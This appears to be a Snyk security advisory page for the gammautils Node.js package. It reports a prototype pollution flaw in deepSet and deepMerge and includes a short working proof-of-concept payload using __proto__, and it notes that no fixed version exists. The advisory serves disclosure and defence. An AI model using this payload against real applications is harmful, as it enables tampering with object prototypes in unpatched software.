gammautils@0.0.20 vulnerabilities

Lots of utilities for Node.js

  • latest version

    0.0.81

  • first published

    11 years ago

  • latest version published

    7 years ago

  • licenses detected

  • Direct Vulnerabilities

    Known vulnerabilities in the gammautils package. This does not include vulnerabilities belonging to this package’s dependencies.

    How to fix?

    Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.

    Fix for free
    VulnerabilityVulnerable Version
    • H
    Prototype Pollution

    gammautils is a Lots of utilities for Node.js

    Affected versions of this package are vulnerable to Prototype Pollution via the deepSet and deepMerge functions.

    POC:

    const gammautils = require('gammautils');
    var payload = JSON.parse('{""__proto__"":{""polluted"":true}}');
    gammautils.object.deepSet({}, '__proto__.polluted2', true);
    gammautils.object.deepMerge({}, payload);
    console.log(polluted);
    console.log(polluted2);
    

    How to fix Prototype Pollution?

    There is no fixed version for gammautils.

    *